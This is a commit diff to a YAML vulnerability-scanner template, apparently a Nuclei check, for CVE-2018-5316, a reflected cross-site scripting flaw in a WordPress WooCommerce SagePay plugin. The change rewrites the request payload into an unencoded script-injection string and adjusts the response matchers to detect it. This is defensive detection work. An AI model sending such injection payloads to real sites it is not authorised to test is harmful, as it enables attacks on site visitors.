Update CVE-2018-5316.yaml

patch-1
Ritik Chaddha 2023-07-25 00:02:08 +05:30
parent 1e7670e69d
commit 76a0b17d32
1 changed files with 7 additions and 4 deletions

View File

@ -19,22 +19,25 @@ info:
cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
verified: true
framework: wordpress
vendor: patsatech
product: sagepay_server_gateway_for_woocommerce
tags: cve2018,wordpress,xss,wp-plugin,woocommerce,packetstorm,cve
tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- '</script>"><script>alert(document.domain)</script>'
- 'Authenticate your card'
condition: and
- type: word
part: header